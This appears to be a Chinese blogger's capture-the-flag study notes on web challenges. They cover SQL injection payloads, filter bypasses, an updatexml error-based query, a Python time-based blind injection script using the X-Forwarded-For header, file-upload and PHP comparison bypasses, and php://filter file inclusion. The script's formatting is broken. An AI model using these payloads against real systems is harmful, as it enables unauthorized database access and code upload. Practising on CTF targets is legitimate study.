一般流程

  1. 首先看header, veiwsource, 目录扫描
  2. 有登陆, 尝试sql注入&爆破
  3. 有数据库, 必然sql注入?

普通sql注入

  1. 判断是否存在回显异常

    尝试单双引号

  2. 查是字符型?数值型?

    若1'#成功查询, 则是字符型

    若失败则是数值型

  3. 确定字段数

    1' order by 3# , 意思是按第三参数排序, 若报错则没有第三字段

  4. 确定返回值类型(需要么?参见bugku学生管理)

    0' union select 1, 2, 3, 4 #不可

    0' union select '1', '2', '3', '4' #可

  5. 确定offset

    1' union select '1', '2', '3', '4' # 仅有id=1的数据

    0' union select '1', '2', '3', '4' # 仅有1234数据

  6. database()

  7. information_schema.tables (使用group_concat)

  8. information_schema.columns (使用group_concat)

  9. 查字段

带字符串过滤的sql注入

  1. 异或测试过滤

    1'^(length('and')0)

    1'^(length('asdasd')0)

    测试结果若与下面的不同, 则存在and的过滤

  2. 双写绕过, 大小写绕过

  3. 空格过滤

    /x/充当空格

  4. 若上面的绕过union失效, 尝试updatexml(但需要异常回显)

    1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23

sql约束攻击

类似与在提供了注册功能的同时, 需要登陆admin帐号的情况下使用

注册时:

username=admin a&&passwd=passwd

因为sql由于字符串长度限制, 所以查询时截断username, 误认为admin, 登陆

但实测user(name varchar(20))下insert数据, 长度过长会报错, 所以这种攻击是否有效就另说了?

insert into类型sql注入

  1. 基于时间的sql注入

    '+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset 0) from 0 for 1)='a' then sleep(30) else 0 end)) #
import requests as req
from lxml import etree
import base64
from tqdm import tqdm url='http://123.206.87.240:8002/web15/'
# payload="'+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset %d) from %d for 1)='%s' then sleep(30) else 0 end)) #"
payload="'+"+"(select case when substr((select * from flag from %d for 1)='%s' then sleep(30) else 0 end)) #"
dic="1234567890qwertyuiopasdfghjklzxcvbnm" dbname="w111111111111111111"
tablename=[] for ti in range(1):
tmp=''
for i in range(1, 21):
check=False
for ch in dic:
try:
print(payload%(i, ch))
resp=req.get(url, headers={'X-Forwarded-For': payload%(i, ch)}, timeout=3)
except:
tmp+=ch
print(tmp)
check=True
break if check==False: break
tablename.append(tmp)
print(tablename)
  1. 基于regex的sql注入

    详见:https://blog.csdn.net/hwz2311245/article/details/53941523

  2. 基于异常的sql注入

    链接同上

文件上传

此处用burpsuite操作

  1. 请求头的Content-Type大小写绕过
  2. 请求数据的Content-Type改为image/png等
  3. 文件后缀黑名单php, php4, php5, phps, phtml, phtm绕过
  4. 屏蔽<?php: 用<?= 或

绕过

  1. x==0

    字符串绕过

  2. x==null

    %20绕过

  3. is_numeric(x)false && x1

    1%00123 字符截断

    1%20123 空格字符

(%00123 绕过is_numeric()false, x1不能)

(%20123 不能绕过is_numeric()==false)

  1. is_numeric(x)==true && sql注入

    二次注入, x专成16进制即可
select hex('test');
-> 0x74657374
  1. md5(x) == md5(y) && x!=y

    数组绕过x[]=x&y[]=y

    sha1同理

  2. md5(x) === md5(y)

  3. strcmp($x, $flag)==0

    Php5.3之后版本使用strcmp比较一个字符串和数组的话,将不再返回-1而是返回0

  4. true == "0"

    字符串绕过

php技巧

  1. GLOBALS变量

  2. 文件包含 php://filter/read=convert.base64-encode/resource=flag.php

  3. php://input

    可将数据放入rawbody

  4. 传数组burpsuite下

    numbers[]="0,0,0"

    numbers=[0,0,0]

HTTP

  1. X-Forwarded-For设置ip

    事实上反代服务器也会写上XFF之类的header

    X-Forwarded-For:Squid 服务代理

    Proxy-Client-IP:apache 服务代理

    WL-Proxy-Client-IP:weblogic 服务代理

    HTTP_CLIENT_IP:有些代理服务器

    X-Real-IP:nginx服务代理

编码

  1. HTML编码
KEY{J2sa42ahJK-HS11III}
KEY{J2sa42ahJK-HS11III}
  1. Base64

  2. urlencode

// js
escape('!#') // "%21%23"
unescape('%21%23"') // !#

其他

  1. 如何做到POST的同时给出GET参数?

    postman: POST同时url上写GET参数, from-data写POST数据

    hackbar: enable post data即可

  2. JSFuck

问题

  1. http://123.206.87.240:8006/test/hello.php?id=1
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?> http://123.206.87.240:8006/test/hello.php?id=0&b=%004123123&a=php://input

为何id=0不能通过?

  1. sql注入, 做到这里卡题了

    http://123.206.87.240:9001/sql/

    http://123.206.87.240:9001/sql/do_Everythin.php#

最新文章

  1. 多线程相关------事件Event
  2. python中的构造函数和析构函数
  3. Windows下提升进程权限
  4. 查询分页的几种Sql写法
  5. linux下文件的复制、移动与删除
  6. 1515 跳 - Wikioi
  7. ios(苹果公司的移动操作系统)
  8. ICE学习第三步-----Slice语言
  9. JS代码混淆 支持PHP .NET PERL
  10. c 函数传入数组。
  11. codewars-random(4)
  12. GoEasy消息推送
  13. 第 5 章 MySQL 备份与恢复
  14. DIY 温控烙铁
  15. linux --&gt; VIM的列编辑操作
  16. #007 C语言大作业学生管理系统第四天
  17. IntelliJ IDEA的破解方法
  18. DataBrewery Cubes 连接Kylin
  19. JAVA 8的新特性
  20. 凸优化&amp;非凸优化问题

热门文章

  1. [MyBatis]向MySql数据库插入一千万条数据 批量插入用时6分 之前时隐时现的异常不见了
  2. Rancher Server部署方式及Rancher HA环境部署
  3. python+Selenium PhantomJS网页截图
  4. UIView和UIWindow的使用
  5. php代码判断用户访问的当前协议是否为https
  6. pageoffice实现网页打开编辑保存word文档(基于SSM框架)
  7. ETH挖矿
  8. 安装ceilometer
  9. mysql数据库之单表查询多表查询
  10. 什么是JWT(Json Web Token)